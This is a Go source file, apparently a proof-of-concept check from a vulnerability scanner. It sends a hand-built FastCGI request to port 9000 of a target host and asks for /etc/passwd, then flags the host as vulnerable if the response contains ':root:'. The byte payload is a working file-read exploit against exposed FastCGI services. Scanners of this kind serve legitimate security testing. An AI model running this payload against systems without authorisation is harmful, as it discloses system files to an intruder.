package scripts

import (
	"bytes"
	"github.com/jweny/pocassist/pkg/util"
)

// FastCGIFileRead fast cgi 文件读取
func FastCGIFileRead(args *ScriptScanArgs) (*util.ScanResult, error) {
	target := args.Host + ":9000"
	var payload = []byte{
		0x01, 0x01, 0x00, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x01, 0x04, 0x00, 0x01, 0x00, 0x8f, 0x01, 0x00, 0x0e, 0x03, 0x52, 0x45, 0x51, 0x55, 0x45, 0x53,
		0x54, 0x5f, 0x4d, 0x45, 0x54, 0x48, 0x4f, 0x44, 0x47, 0x45, 0x54, 0x0f, 0x08, 0x53, 0x45, 0x52,
		0x56, 0x45, 0x52, 0x5f, 0x50, 0x52, 0x4f, 0x54, 0x4f, 0x43, 0x4f, 0x4c, 0x48, 0x54, 0x54, 0x50,
		0x2f, 0x31, 0x2e, 0x31, 0x0d, 0x01, 0x44, 0x4f, 0x43, 0x55, 0x4d, 0x45, 0x4e, 0x54, 0x5f, 0x52,
		0x4f, 0x4f, 0x54, 0x2f, 0x0b, 0x09, 0x52, 0x45, 0x4d, 0x4f, 0x54, 0x45, 0x5f, 0x41, 0x44, 0x44,
		0x52, 0x31, 0x32, 0x37, 0x2e, 0x30, 0x2e, 0x30, 0x2e, 0x31, 0x0f, 0x0b, 0x53, 0x43, 0x52, 0x49,
		0x50, 0x54, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x2f, 0x65, 0x74, 0x63, 0x2f,
		0x70, 0x61, 0x73, 0x73, 0x77, 0x64, 0x0f, 0x10, 0x53, 0x45, 0x52, 0x56, 0x45, 0x52, 0x5f, 0x53,
		0x4f, 0x46, 0x54, 0x57, 0x41, 0x52, 0x45, 0x67, 0x6f, 0x20, 0x2f, 0x20, 0x66, 0x63, 0x67, 0x69,
		0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x20, 0x00, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
	}
	resp, err := util.TcpSend(target,payload)
	if err != nil {
		return nil, err
	}
	if bytes.Contains(resp, []byte(":root:")){
		return util.VulnerableTcpOrUdpResult(target,"",
			[]string{string(payload)}, []string{string(resp)}),nil
	}
	return &util.InVulnerableResult, nil
}

func init() {
	ScriptRegister("poc-go-fastcgi-file-read", FastCGIFileRead)
}
